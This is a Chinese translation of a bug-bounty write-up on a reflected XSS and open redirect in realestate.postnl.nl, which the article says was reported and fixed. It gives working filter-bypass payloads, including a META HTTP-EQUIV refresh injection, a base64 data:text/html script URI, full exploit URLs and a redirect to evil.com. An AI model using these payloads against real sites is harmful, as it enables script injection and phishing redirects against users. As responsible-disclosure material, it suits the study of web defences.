在realestate.postnl.nl中使用META标签绕过xss过滤器

翻译自:https://medium.com/@prial261/xss-bypass-using-meta-tag-in-realestate-postnl-nl-32db25db7308
翻译:聂心明

今天我准备将一个xss漏洞报给 postnl.nlsrc

漏洞点:http://realestate.postnl.nl/?Lang=
我使用“><xsstest>测试Lang参数是否有xss,然后在源码中我发现我输入的参数被输出到META标签之中了,就像下面这样 :

<meta name="language" content=""><xsstest>" /> 

看起来很简单对吧?但是等一下,我输入"><img src=x>我得到:
image

我尝试了很多HTML标签,然后我总结了两点:

  • 所有的有效的HTML都不被允许
  • 我能创建任何属性

所以我谷歌寻找meta标签属性,得到:
image

http-equiv属性引起我的注意。现在我又谷歌希望能了解到更多的东西

META标签有一个http-equiv属性,这个属性允许你在HTML代码中定义HTTP头的等效项。http-equiv属性会使用refresh这个值,这个值的可以被用来跳转到其他页面。
然后我输入0;http://evil.com"HTTP-EQUIV="refresh"页面显示:

<meta name="language" content="0;http://evil.com"HTTP-EQUIV="refresh"" />

然后跳转到了evil.com,所以我已经能够跳转了。现在我试着构造URI XSS,所以我输入0;javascript:alert(1)"HTTP-EQUIV="refresh"页面报
image
我的payload中触发了javascript关键字。所以我使用Base64编码一下payload。0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg=="HTTP-EQUIV="refresh",然后返回的源码是:

<meta name="language" content="0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg=="HTTP-EQUIV="refresh"" />

现在我访问:http://realestate.postnl.nl/?Lang=0%3Bdata%3Atext%2fhtml%3Bbase64%2CPHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg%3D%3D%22HTTP-EQUIV%3D%22refresh%22就可以xss了
image

我把漏洞报告给了官方Zerocopter 。然后厂商通过把data:text/html;base64加入黑名单的方式修复了此漏洞,这种方式就像把javascript加入黑名单一样,但是我依然可以通过访问http://realestate.postnl.nl/?Lang=0%3Bhttp%3A%2f%2fevil.com%22HTTP-EQUIV%3D%22refresh%22来达到任意跳转的目的。

image

官方又一次修复了这个漏洞,并且把我的名字放在了名人堂 页面上,并且将会给我发一些礼物
image

谢谢你们阅读
喜欢我的话请在我的推特上关注我: https://twitter.com/prial261
如果你们有任何问题,欢迎在Facebook上向我提问
https://www.facebook.com/prial261

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章